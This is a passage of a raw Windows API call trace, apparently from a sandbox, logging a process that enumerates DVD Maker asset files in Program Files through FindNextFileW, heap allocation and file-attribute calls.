Size=0x80) returned 0x926950 [0245.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.007] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.007] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920a30 [0245.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9269d8 [0245.008] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.008] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0245.008] GetLastError () returned 0x12 [0245.008] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0245.008] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.008] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.008] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0245.008] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0245.008] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0245.008] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="")) returned 1 [0245.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.008] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.008] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0245.009] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x929260 [0245.009] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x929260, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x929260, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0245.009] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929260) returned 1 [0245.009] NtClose (Handle=0x1c0) returned 0x0 [0245.009] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.009] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926598 [0245.009] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926a60 [0245.009] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ae8 [0245.009] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0245.038] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.100] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0245.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0245.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926a60) returned 1 [0245.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920a50 [0245.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x924180 [0245.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.100] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920a70 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x924288 [0245.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.101] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920a90 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x924390 [0245.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.101] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920ab0 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x924498 [0245.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.101] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.101] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.101] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920ad0 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9245a0 [0245.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.102] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920af0 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9246a8 [0245.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.102] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0245.102] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0245.102] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920b10 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926a60 [0245.102] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xa40) returned 0x927508 [0245.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x928858) returned 1 [0245.102] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.102] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920b30 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9247b0 [0245.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.103] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920b50 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9248b8 [0245.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.103] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920b70 [0245.103] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9249c0 [0245.103] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.104] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920b90 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x924ac8 [0245.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.104] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920bb0 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x924bd0 [0245.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.104] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, 